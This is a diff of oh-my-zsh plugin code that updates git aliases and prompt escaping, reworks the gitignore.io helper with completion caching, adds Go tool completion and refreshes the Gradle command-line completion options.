||||
[[ $# == 0 ]] && b="$(git_current_branch)"
|
||||
git push origin "${b:-$1}"
|
||||
fi
|
||||
}
|
||||
compdef _git ggp=git-checkout
|
||||
compdef _git ggp=git-push
|
||||
|
||||
alias gpu='git push upstream'
|
||||
alias grb='git rebase'
|
||||
@@ -422,19 +419,13 @@ alias gke='\gitk --all $(git log --walk-reflogs --pretty=%h) &!'
|
||||
|
||||
unset git_version
|
||||
|
||||
# Logic for adding warnings on deprecated aliases
|
||||
local old_alias new_alias
|
||||
for old_alias new_alias (
|
||||
# TODO(2023-10-19): remove deprecated `git pull --rebase` aliases
|
||||
gup gpr
|
||||
gupv gprv
|
||||
gupa gpra
|
||||
gupav gprav
|
||||
gupom gprom
|
||||
gupomi gpromi
|
||||
# Logic for adding warnings on deprecated aliases or functions
|
||||
local old_name new_name
|
||||
for old_name new_name (
|
||||
current_branch git_current_branch
|
||||
); do
|
||||
aliases[$old_alias]="
|
||||
print -Pu2 \"%F{yellow}[oh-my-zsh] '%F{red}${old_alias}%F{yellow}' is a deprecated alias, using '%F{green}${new_alias}%F{yellow}' instead.%f\"
|
||||
$new_alias"
|
||||
aliases[$old_name]="
|
||||
print -Pu2 \"%F{yellow}[oh-my-zsh] '%F{red}${old_name}%F{yellow}' is deprecated, using '%F{green}${new_name}%F{yellow}' instead.%f\"
|
||||
$new_name"
|
||||
done
|
||||
unset old_alias new_alias
|
||||
unset old_name new_name
|
||||
|
||||
@@ -235,7 +235,7 @@ __git_ps1_show_upstream ()
|
||||
if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
|
||||
upstream="$upstream \${__git_ps1_upstream_name}"
|
||||
else
|
||||
upstream="$upstream ${__git_ps1_upstream_name}"
|
||||
upstream="$upstream ${__git_ps1_upstream_name//\%/%%}"
|
||||
# not needed anymore; keep user's
|
||||
# environment clean
|
||||
unset __git_ps1_upstream_name
|
||||
@@ -570,6 +570,9 @@ __git_ps1 ()
|
||||
if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
|
||||
__git_ps1_branch_name=$b
|
||||
b="\${__git_ps1_branch_name}"
|
||||
else
|
||||
# escape % in branch name to avoid prompt expansion issues
|
||||
b="${b//\%/%%}"
|
||||
fi
|
||||
|
||||
if [ -n "${GIT_PS1_SHOWCOLORHINTS-}" ]; then
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# gitignore
|
||||
|
||||
This plugin enables you the use of [gitignore.io](https://www.toptal.com/developers/gitignore) from the command line. You need an active internet connection.
|
||||
This plugin enables you to use [gitignore.io](https://www.gitignore.io) from the command line. You need an active internet connection to fetch templates. The plugin uses the gitignore.io CDN endpoint to simplify access and improve reliability.
|
||||
|
||||
To use it, add `gitignore` to the plugins array in your zshrc file:
|
||||
|
||||
@@ -14,4 +14,4 @@ plugins=(... gitignore)
|
||||
|
||||
* `gi [TEMPLATENAME]`: Show git-ignore output on the command line, e.g. `gi java` to exclude class and package files.
|
||||
|
||||
* `gi [TEMPLATENAME] >> .gitignore`: Appending programming language settings to your projects .gitignore.
|
||||
* `gi [TEMPLATENAME] >> .gitignore`: Append the template rules to your project's `.gitignore` file.
|
||||
|
||||
@@ -1,12 +1,57 @@
|
||||
function gi() { curl -fLw '\n' https://www.toptal.com/developers/gitignore/api/"${(j:,:)@}" }
|
||||
|
||||
_gitignoreio_get_command_list() {
|
||||
curl -sfL https://www.toptal.com/developers/gitignore/api/list | tr "," "\n"
|
||||
# gitignore plugin for oh-my-zsh
|
||||
# Uses gitignore.io CDN endpoint
|
||||
function _gi_curl() {
|
||||
curl -sfL "https://www.gitignore.io/api/$1"
|
||||
}
|
||||
|
||||
_gitignoreio () {
|
||||
function gi() {
|
||||
local query="${(j:,:)@}"
|
||||
_gi_curl "$query" || return 1
|
||||
}
|
||||
|
||||
_gitignoreio_get_command_list() {
|
||||
setopt local_options pipe_fail
|
||||
_gi_curl "list" | tr "," "\n"
|
||||
}
|
||||
|
||||
__gitignoreio_caching_policy() {
|
||||
local -a oldp
|
||||
oldp=("$1"(Nm+7))
|
||||
(($#oldp))
|
||||
}
|
||||
|
||||
_gitignoreio_retrieve_stale_cache() {
|
||||
zstyle -t ":completion:${curcontext}:" use-cache || return 1
|
||||
|
||||
local cache_dir
|
||||
zstyle -s ":completion:${curcontext}:" cache-path cache_dir
|
||||
: ${cache_dir:=${ZDOTDIR:-$HOME}/.zcompcache}
|
||||
|
||||
[[ -e "$cache_dir/gi-list" ]] || return 1
|
||||
. "$cache_dir/gi-list"
|
||||
}
|
||||
|
||||
_gitignoreio() {
|
||||
compset -P '*,'
|
||||
compadd -S '' `_gitignoreio_get_command_list`
|
||||
|
||||
local cache_policy
|
||||
zstyle -s ":completion:${curcontext}:" cache-policy cache_policy
|
||||
if [[ -z "$cache_policy" ]]; then
|
||||
zstyle ":completion:${curcontext}:" cache-policy __gitignoreio_caching_policy
|
||||
fi
|
||||
|
||||
local -a _gi_list
|
||||
if _cache_invalid gi-list || ! _retrieve_cache gi-list; then
|
||||
local command_list
|
||||
if command_list="$(_gitignoreio_get_command_list)" && [[ -n "$command_list" ]]; then
|
||||
_gi_list=(${(f)command_list})
|
||||
_store_cache gi-list _gi_list
|
||||
else
|
||||
_gitignoreio_retrieve_stale_cache
|
||||
fi
|
||||
fi
|
||||
|
||||
compadd -S '' -a _gi_list
|
||||
}
|
||||
|
||||
compdef _gitignoreio gi
|
||||
|
||||
@@ -27,7 +27,7 @@ The plugin also documents two other ways to do this:
|
||||
|
||||
1. Using a function wrapper, such that, for example, there exists a function
|
||||
named `ls` which calls `gls` instead. Since functions have a higher preference
|
||||
than commands, this ends up calling the GNU coreutil. It has also a higher
|
||||
than commands, this ends up calling the GNU coreutils. It has also a higher
|
||||
preference over shell builtins (`gecho` is called instead of the builtin `echo`).
|
||||
|
||||
2. Using an alias. This has an even higher preference than functions, but they
|
||||
|
||||
@@ -15,6 +15,52 @@ __go_identifiers() {
|
||||
compadd $(godoc -templates "$tmpl_path" ${words[-2]} 2> /dev/null)
|
||||
}
|
||||
|
||||
__go_tool_commands() {
|
||||
local -a tools tool_commands
|
||||
local -A command_seen short_count
|
||||
local tool command
|
||||
|
||||
tools=("${(@f)$(go tool 2>/dev/null)}")
|
||||
|
||||
# Go 1.24+ lists module tools by package path, but also accepts unique
|
||||
# default binary names for those tools.
|
||||
for tool in "${tools[@]}"; do
|
||||
[[ -n $tool ]] || continue
|
||||
|
||||
(( command_seen[$tool]++ ))
|
||||
|
||||
if [[ $tool == */* ]]; then
|
||||
command=${tool:t}
|
||||
|
||||
if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then
|
||||
command=${${tool%/$command}:t}
|
||||
fi
|
||||
|
||||
(( short_count[$command]++ ))
|
||||
fi
|
||||
done
|
||||
|
||||
for tool in "${tools[@]}"; do
|
||||
[[ -n $tool ]] || continue
|
||||
|
||||
tool_commands+=("$tool")
|
||||
|
||||
if [[ $tool == */* ]]; then
|
||||
command=${tool:t}
|
||||
|
||||
if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then
|
||||
command=${${tool%/$command}:t}
|
||||
fi
|
||||
|
||||
if (( short_count[$command] == 1 && ! command_seen[$command] )); then
|
||||
tool_commands+=("$command")
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
_values "go tool" "${tool_commands[@]}"
|
||||
}
|
||||
|
||||
_go() {
|
||||
typeset -a commands build_flags
|
||||
commands+=(
|
||||
@@ -208,7 +254,7 @@ _go() {
|
||||
;;
|
||||
tool)
|
||||
if (( CURRENT == 3 )); then
|
||||
_values "go tool" $(go tool)
|
||||
__go_tool_commands
|
||||
return
|
||||
fi
|
||||
case ${words[3]} in
|
||||
|
||||
@@ -19,34 +19,31 @@ __gradle-init-cache-dir() {
|
||||
}
|
||||
|
||||
__gradle-set-settings-file() {
|
||||
# In order of precedence: --settings-file=filename, settings.gradle, settings.gradle.kts
|
||||
# In order of precedence: settings.gradle, settings.gradle.kts
|
||||
|
||||
local default_gradle_settings_file="$project_root_dir/settings.gradle"
|
||||
if [[ ! -f $default_gradle_settings_file ]]; then
|
||||
default_gradle_settings_file="$project_root_dir/settings.gradle.kts"
|
||||
fi
|
||||
gradle_settings_file=${${(v)opt_args[(i)-c|--settings-file]}:-$default_gradle_settings_file}
|
||||
gradle_settings_file=$default_gradle_settings_file
|
||||
}
|
||||
|
||||
__gradle-set-build-file() {
|
||||
__gradle-set-settings-file
|
||||
# In order of precedence: --build-file=filename, rootProject.buildFileName, build.gradle, build.gradle.kts
|
||||
# In order of precedence: rootProject.buildFileName, build.gradle, build.gradle.kts
|
||||
|
||||
local default_gradle_build_file_name="build.gradle"
|
||||
if [[ -r $gradle_settings_file ]]; then
|
||||
default_gradle_build_file_name=${$(grep "^rootProject\.buildFileName" $gradle_settings_file | \
|
||||
local build_file_name=${$(grep "^rootProject\.buildFileName" $gradle_settings_file | \
|
||||
sed -n -e "s/rootProject\.buildFileName = [\'\"]\(.*\)[\'\"]/\1/p")}
|
||||
|
||||
default_gradle_build_file_name="${default_gradle_build_file:-build.gradle}"
|
||||
default_gradle_build_file_name="${build_file_name:-build.gradle}"
|
||||
fi
|
||||
|
||||
local default_gradle_build_file="$project_root_dir/$default_gradle_build_file_name"
|
||||
if [[ ! -f $default_gradle_build_file ]]; then
|
||||
default_gradle_build_file="$project_root_dir/build.gradle.kts"
|
||||
gradle_build_file="$project_root_dir/$default_gradle_build_file_name"
|
||||
if [[ ! -f $gradle_build_file ]]; then
|
||||
gradle_build_file="$project_root_dir/build.gradle.kts"
|
||||
fi
|
||||
|
||||
# If a build file is specified after '-b' or '--build-file', use this file.
|
||||
gradle_build_file=${${(v)opt_args[(i)-b|--build-file]}:-$default_gradle_build_file}
|
||||
}
|
||||
|
||||
__gradle-set-cache-name() {
|
||||
@@ -94,10 +91,11 @@ __gradle-generate-tasks-cache() {
|
||||
# Reuse Gradle Daemon if IDLE but don't start a new one.
|
||||
local gradle_tasks_output
|
||||
if [[ ! -z "$($gradle_cmd --status 2>/dev/null | grep IDLE)" ]]; then
|
||||
gradle_tasks_output="$($gradle_cmd --daemon --no-scan --build-file $gradle_build_file --console=plain -q tasks --all 2>/dev/null)"
|
||||
gradle_tasks_output="$(cd "$project_root_dir" && "$gradle_cmd" --daemon --no-scan --console=plain -q tasks --all 2>/dev/null)"
|
||||
else
|
||||
gradle_tasks_output="$($gradle_cmd --no-daemon --no-scan --build-file $gradle_build_file --console=plain -q tasks --all 2>/dev/null)"
|
||||
gradle_tasks_output="$(cd "$project_root_dir" && "$gradle_cmd" --no-daemon --no-scan --console=plain -q tasks --all 2>/dev/null)"
|
||||
fi
|
||||
|
||||
local gradle_all_tasks="" root_tasks="" subproject_tasks="" output_line
|
||||
local -a match
|
||||
for output_line in ${(f)"$(printf "%s\n" "${gradle_tasks_output[@]}")"}; do
|
||||
@@ -199,106 +197,172 @@ __gradle_subcommand() {
|
||||
;;
|
||||
(dependencyInsight)
|
||||
_arguments \
|
||||
'--all-variants[Show all variants of each dependency]' \
|
||||
'--configuration=[Looks for the dependency in given configuration.]:dependency configuration:_gradle_dependency_configurations' \
|
||||
'--dependency=[Shows the details of given dependency.]' \
|
||||
'--configuration=[Looks for the dependency in given configuration.]:dependency configuration:_gradle_dependency_configurations' && ret=0
|
||||
'--single-path[Show at most one path to each dependency]' && ret=0
|
||||
;;
|
||||
(help)
|
||||
_arguments \
|
||||
'--task[The task to show help for.]' && ret=0
|
||||
'--task=[The task to show help for.]' && ret=0
|
||||
;;
|
||||
(init)
|
||||
_arguments \
|
||||
'--dsl=[DSL to be used in generated scripts.]:dsl:(groovy kotlin)' \
|
||||
'--package=[Package for the generated source.]' \
|
||||
'--project-name=[Name of the generated project.]' \
|
||||
'--test-framework=[Test framework to be used.]:test framework:(junit kotlintest scalatest spock testng)' \
|
||||
'--type=[Project type to generate.]:project type:(basic cpp-application cpp-library groovy-application groovy-library java-application java-library kotlin-application kotlin-library pom scala-library)' && ret=0
|
||||
'--comments[Include clarifying comments in files.]' \
|
||||
'--dsl=[Set the build script DSL to be used in generated scripts.]' \
|
||||
'--incubating[Allow the generated build to use new features and APIs.]' \
|
||||
'--insecure-protocol=[How to handle insecure URLs used for Maven Repositories.]' \
|
||||
'--into=[Set the directory where the project is generated.]' \
|
||||
'--java-version=[Provides java version to use in the project.]' \
|
||||
'--overwrite[Allow existing files in the build directory to be overwritten?]' \
|
||||
'--package=[Set the package for source files.]' \
|
||||
'--project-name=[Set the project name.]' \
|
||||
'--split-project[Split functionality across multiple subprojects?]' \
|
||||
'--test-framework=[Set the test framework to be used.]' \
|
||||
'--type=[Set the type of project to generate.]' \
|
||||
'--use-defaults[Use default values for options not configured explicitly]' && ret=0
|
||||
;;
|
||||
(tasks)
|
||||
_arguments \
|
||||
'--all[List all tasks, including subproject tasks.]' \
|
||||
'--group=[Show tasks only from given task group.]' && ret=0
|
||||
'--all[Show additional tasks and detail.]' \
|
||||
'--group=[Show tasks for a specific group.]' \
|
||||
'--groups=[Show tasks for specific groups (can be used multiple times to specify multiple groups).]' \
|
||||
'--provenance[Show task provenance information]' \
|
||||
'--types[Show task class types]' && ret=0
|
||||
;;
|
||||
(test)
|
||||
_arguments -C \
|
||||
'--debug-jvm[Enable debugging for the test process. The process is started suspended and listening on port 5005. Requires the "java" plugin.]' \
|
||||
'--fail-fast[Stops test execution after the first failed test. Requires the "java" plugin.]' \
|
||||
'--tests=[Sets test class or method name to be included, * is supported. Requires the "java" plugin.]' \
|
||||
'--debug-jvm[Enable debugging for the test process. The process is started suspended and listening on port 5005.]' \
|
||||
'--fail-fast[Stops test execution after the first failed test.]' \
|
||||
'--test-dry-run[Simulate test execution.]' \
|
||||
'--tests=[Sets test class or method name to be included (in addition to the test task filters), '*' is supported.]' \
|
||||
'(-)*:: :->task-or-option' && ret=0
|
||||
;;
|
||||
(wrapper)
|
||||
_arguments \
|
||||
'--distribution-type=[Binary-only or all with docs and sources]:*:distribution type:(bin all)' \
|
||||
'--gradle-version=[Set Gradle version for wrapper]' \
|
||||
'--gradle-distribution-sha256-sum=[SHA-256 checksum]' \
|
||||
'--gradle-distribution-url=[Set Gradle distribution URL]' && ret=0
|
||||
'--distribution-type=[The type of the Gradle distribution to be used by the wrapper.]:*:distribution type:(bin all)' \
|
||||
'--gradle-distribution-sha256-sum=[The SHA-256 hash sum of the gradle distribution.]' \
|
||||
'--gradle-distribution-url=[The URL to download the Gradle distribution from.]' \
|
||||
'--gradle-version=[The version of the Gradle distribution required by the wrapper. The following labels are allowed: latest, release-candidate, release-milestone, release-nightly, and nightly.]' \
|
||||
'--network-timeout=[Timeout in ms to use when the wrapper is performing network operations.]' \
|
||||
'--retries=[The number of download retries.]' \
|
||||
'--retry-back-off-ms=[The initial back off in milliseconds between retries (doubles on each failure).]' \
|
||||
'--validate-url[Sets task to validate the configured distribution url.]' && ret=0
|
||||
;;
|
||||
(*)
|
||||
_arguments -C \
|
||||
{-a,--no-rebuild}'[Do not rebuild project dependencies.]' \
|
||||
'(--no-build-cache)--build-cache[Enable the Gradle build cache.]' \
|
||||
{-b,--build-file}'[Specifies the build file.]:build script:_files -g \*.gradle' \
|
||||
{-C,--cache}'[Specifies how compiled build scripts should be cached.]:cache policy:(on rebuild)' \
|
||||
{-c,--settings-file}'[Specifies the settings file.]:settings file:_files -g \*.gradle' \
|
||||
'(--configuration-cache)--no-configuration-cache[Disables the configuration cache. Gradle will not reuse the build configuration from previous builds.]' \
|
||||
'--configuration-cache-problems=[Configures how the configuration cache handles problems]:problem handling:(fail warn)' \
|
||||
'(--no-configure-on-demand)--configure-on-demand[Only relevant projects are configured in this build run.]' \
|
||||
'(--no-configuration-cache)--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
|
||||
'--console=[Specifies which type of console output to generate.]:console output type:(plain auto rich verbose)' \
|
||||
'--continue[Continues task execution after a task failure.]' \
|
||||
'-Dorg.gradle.cache.reserved.mb=[Reserve Gradle Daemon memory for operations.]' \
|
||||
'-Dorg.gradle.caching=[Set true to enable Gradle build cache.]:enable build cache:(true false)' \
|
||||
'-Dorg.gradle.console=[Set type of console output to generate.]:console output type:(plain auto rich verbose)' \
|
||||
'-Dorg.gradle.daemon.debug=[Set true to debug Gradle Daemon.]:enable daemon debug:(true false)' \
|
||||
'-Dorg.gradle.daemon.idletimeout=[Kill Gradle Daemon after # idle millis.]' \
|
||||
'-Dorg.gradle.debug=[Set true to debug Gradle Client.]' \
|
||||
'-Dorg.gradle.jvmargs=[Set JVM arguments.]' \
|
||||
'-Dorg.gradle.java.home=[Set JDK home dir.]' \
|
||||
'-Dorg.gradle.logging.level=[Set default Gradle log level.]:log level:(quiet warn lifecycle info debug)' \
|
||||
'-Dorg.gradle.parallel=[Set true to enable parallel project builds.]:enable parallel build:(true false)' \
|
||||
'-Dorg.gradle.priority=[Set priority for Gradle worker processes.]:priority:(low normal)' \
|
||||
'-Dorg.gradle.unsafe.watch-fs=[Set true to enable Gradle file watcher.]:enable watcher:(true false)' \
|
||||
'-Dorg.gradle.warning.mode=[Set types of warnings to log.]:warning level:(all summary none)' \
|
||||
'-Dorg.gradle.workers.max=[Set the number of workers Gradle is allowed to use.]' \
|
||||
'(-i --info -w --warn -q --quiet)'{-d,--debug}'[Log in debug mode (includes normal stacktrace).]' \
|
||||
'(--no-daemon)--daemon[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \
|
||||
'--foreground[Starts the Gradle daemon in the foreground.]' \
|
||||
{-g,--gradle-user-home}'[Specifies the gradle user home directory.]:file:_directories' \
|
||||
\*--include-build'[Includes the specified build in the composite.]:file:_directories' \
|
||||
\*{-I,--init-script}'[Specifies an initialization script.]:init script:_files -g \*.gradle' \
|
||||
'(-d --debug -w --warn -q --quiet)'{-i,--info}'[Set log level to info.]' \
|
||||
'--max-workers[Set the maximum number of concurrent workers that Gradle may use.]:number workers' \
|
||||
{-m,--dry-run}'[Runs the builds with all task actions disabled.]' \
|
||||
'--no-color[Do not use color in the console output. (Removed in Gradle 3.0)]' \
|
||||
'(--build-cache)--no-build-cache[Do not use the Gradle build cache.]' \
|
||||
'(--configure-on-demand)--no-configure-on-demand[Disables configuration on demand.]' \
|
||||
'(--daemon)--no-daemon[Do not use the Gradle daemon to run the build.]' \
|
||||
'(--parallel)--no-parallel[Disables parallel execution to build projects.]' \
|
||||
'(--scan)--no-scan[Do not create a build scan.]' \
|
||||
'--offline[The build should operate without accessing network resources.]' \
|
||||
\*{-P+,--project-prop}'[Set project property for the build script (e.g. -Pmyprop=myvalue).]:project property (prop=val):' \
|
||||
{-p,--project-dir}'[Specifies the start directory for Gradle.]:start directory:_directories' \
|
||||
'(--no-parallel)--parallel[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
|
||||
'--profile[Profiles build execution time and generates a report in the <build_dir>/reports/profile directory.]' \
|
||||
'--priority[Set priority for Gradle worker processes.]:priority:(low normal)' \
|
||||
'--project-cache-dir[Specifies the project-specific cache directory.]:cache directory:_directories' \
|
||||
'(-d --debug -w --warn -i --info)'{-q,--quiet}'[Log errors only.]' \
|
||||
'--recompile-scripts[Force build script recompiling.]' \
|
||||
'--refresh[Refresh the state of resources of the type(s) specified.]:refresh policy:(dependencies)' \
|
||||
'--refresh-dependencies[Refresh the state of dependencies.]' \
|
||||
'--rerun-tasks[Ignore previously cached task results.]' \
|
||||
'(--no-scan)--scan[Create a build scan.]' \
|
||||
'(-S --full-stacktrace)'{-s,--stacktrace}'[Print out the stacktrace for all exceptions.]' \
|
||||
'(-s --stacktrace)'{-S,--full-stacktrace}'[Print out the full (very verbose) stacktrace for all exceptions.]' \
|
||||
'--system-prop[system property (prop=val)]' \
|
||||
'-Dcom.gradle.develocity.plugin.version=[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]' \
|
||||
'-Dcom.gradle.develocity.url=[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]' \
|
||||
'-Dgradle.user.home=[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle.user.home:_directories' \
|
||||
'-Dorg.gradle.caching.debug=[]' \
|
||||
'-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false)' \
|
||||
'-Dorg.gradle.configuration-cache.entries-per-key=[]' \
|
||||
'-Dorg.gradle.configuration-cache.fine-grained-property-tracking=[]' \
|
||||
'-Dorg.gradle.configuration-cache.heap-dump-dir=[]:org.gradle.configuration cache.heap dump dir:_directories' \
|
||||
'-Dorg.gradle.configuration-cache.inputs.unsafe.ignore.file-system-checks=[]' \
|
||||
'-Dorg.gradle.configuration-cache.inputs.unsafe.ignore.in-serialization=[]' \
|
||||
'-Dorg.gradle.configuration-cache.integrity-check=[]' \
|
||||
'-Dorg.gradle.configuration-cache.max-problems=[]' \
|
||||
'-Dorg.gradle.configuration-cache.parallel=[]' \
|
||||
'-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:org.gradle.configuration cache.problems:(fail warn)' \
|
||||
'-Dorg.gradle.configuration-cache.read-only=[]' \
|
||||
'-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]' \
|
||||
'-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
|
||||
'-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]' \
|
||||
'-Dorg.gradle.console.interactive=[]' \
|
||||
'-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]' \
|
||||
'-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose)' \
|
||||
'-Dorg.gradle.continue=[Continues task execution after a task failure.]' \
|
||||
'-Dorg.gradle.continuous.quietperiod=[]' \
|
||||
'-Dorg.gradle.daemon.healthcheckinterval=[]' \
|
||||
'-Dorg.gradle.daemon.idletimeout=[]' \
|
||||
'-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories' \
|
||||
'-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
|
||||
'-Dorg.gradle.debug.host=[]' \
|
||||
'-Dorg.gradle.debug.port=[]' \
|
||||
'-Dorg.gradle.debug.server=[]' \
|
||||
'-Dorg.gradle.debug.suspend=[]' \
|
||||
'-Dorg.gradle.debug=[]:org.gradle.debug:(true false)' \
|
||||
'-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:org.gradle.dependency.verification:(strict lenient off)' \
|
||||
'-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories' \
|
||||
'-Dorg.gradle.java.installations.auto-detect=[]' \
|
||||
'-Dorg.gradle.java.installations.auto-download=[]' \
|
||||
'-Dorg.gradle.java.installations.fromEnv=[]' \
|
||||
'-Dorg.gradle.java.installations.idea-jdks-directory=[]:org.gradle.java.installations.idea jdks directory:_directories' \
|
||||
'-Dorg.gradle.java.installations.paths=[]:org.gradle.java.installations.paths:_directories' \
|
||||
'-Dorg.gradle.jvmargs=[]' \
|
||||
'-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug)' \
|
||||
'-Dorg.gradle.logging.stacktrace=[]' \
|
||||
'-Dorg.gradle.native=[]' \
|
||||
'-Dorg.gradle.parallel=[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false)' \
|
||||
'-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:org.gradle.priority:(normal low)' \
|
||||
'-Dorg.gradle.problems.report=[Enables the HTML problems report.]' \
|
||||
'-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories' \
|
||||
'-Dorg.gradle.tooling.parallel=[]' \
|
||||
'-Dorg.gradle.unsafe.isolated-projects.diagnostics=[]' \
|
||||
'-Dorg.gradle.unsafe.isolated-projects=[]' \
|
||||
'-Dorg.gradle.vfs.verbose=[]' \
|
||||
'-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false)' \
|
||||
'-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]' \
|
||||
'-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never)' \
|
||||
'-Dorg.gradle.workers.max=[Configures the maximum number of concurrent workers Gradle is allowed to use.]' \
|
||||
(--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \
|
||||
(--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
|
||||
'--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:configuration cache problems:(fail warn)' \
|
||||
(--no-configure-on-demand)'--configure-on-demand[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
|
||||
'--console[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:console:(plain auto rich verbose)' \
|
||||
'--console-unicode[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]' \
|
||||
(--no-continue)'--continue[Continues task execution after a task failure.]' \
|
||||
{-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \
|
||||
{-u,--no-search-upward}"[Don't search in parent folders for a settings.gradle file.]" \
|
||||
'(--write-locks)--update-locks[Perform a partial update of the dependency lock.]' \
|
||||
'(-d --debug -q --quiet -i --info)'{-w,--warn}'[Log warnings and errors only.]' \
|
||||
'--warning-mode=[Set types of warnings to log.]:warning mode:(all summary none)' \
|
||||
'(--no-watch-fs)--watch-fs[Gradle watches filesystem for incremental builds.]' \
|
||||
'(--update-locks)--write-locks[Persists dependency resolution for locked configurations.]' \
|
||||
{-x,--exclude-task}'[Specify a task to be excluded from execution.]' && ret=0
|
||||
(--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
|
||||
(--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Sets log level to debug. Includes the normal stacktrace.]' \
|
||||
{-F,--dependency-verification}'[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:dependency verification:(strict lenient off)' \
|
||||
'--develocity-plugin-version[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]' \
|
||||
'--develocity-url[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]' \
|
||||
{-m,--dry-run}'[Runs the build with all task actions disabled.]' \
|
||||
\*{-x,--exclude-task}'[Specifies a task to exclude from execution.]' \
|
||||
'--export-keys[Exports the public keys used for dependency verification.]' \
|
||||
'--foreground[Starts the Gradle daemon in the foreground.]' \
|
||||
(--stacktrace,-s){-S,--full-stacktrace}'[Prints the full (very verbose) stacktrace for all exceptions.]' \
|
||||
{-g,--gradle-user-home}'[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle user home:_directories' \
|
||||
\*'--include-build[Includes the specified build in the composite.]:include build:_directories' \
|
||||
(--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Sets the log level to info.]' \
|
||||
\*{-I,--init-script}'[Specifies an initialization script.]:init script:_files -g \*.gradle(|.kts)' \
|
||||
'--max-workers[Configures the maximum number of concurrent workers Gradle is allowed to use.]' \
|
||||
(--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \
|
||||
(--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \
|
||||
(--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \
|
||||
(--continue)'--no-continue[Stops task execution after a task failure.]' \
|
||||
(--daemon)'--no-daemon[Runs the build without the Gradle daemon. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
|
||||
(--parallel)'--no-parallel[Disables parallel project execution.]' \
|
||||
(--problems-report)'--no-problems-report[Disables the HTML problems report. (incubating)]' \
|
||||
{-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \
|
||||
(--scan)'--no-scan[Disables the creation of a Build Scan.]' \
|
||||
(--watch-fs)'--no-watch-fs[Disables file system watching.]' \
|
||||
'--non-interactive[Do not do interactive prompting. (incubating)]' \
|
||||
'--offline[Runs the build without accessing network resources.]' \
|
||||
(--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
|
||||
'--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]' \
|
||||
(--no-problems-report)'--problems-report[Enables the HTML problems report. (incubating)]' \
|
||||
'--profile[Profiles build execution time. Generates a report in the <build_dir>/reports/profile directory.]' \
|
||||
'--project-cache-dir[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:project cache dir:_directories' \
|
||||
{-p,--project-dir}'[Specifies the start directory for Gradle. Default is the current directory.]:project dir:_directories' \
|
||||
'--property-upgrade-report[Runs the build with the experimental property upgrade report. (incubating)]' \
|
||||
(--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Logs errors only.]' \
|
||||
{-U,--refresh-dependencies}'[Refreshes the state of dependencies.]' \
|
||||
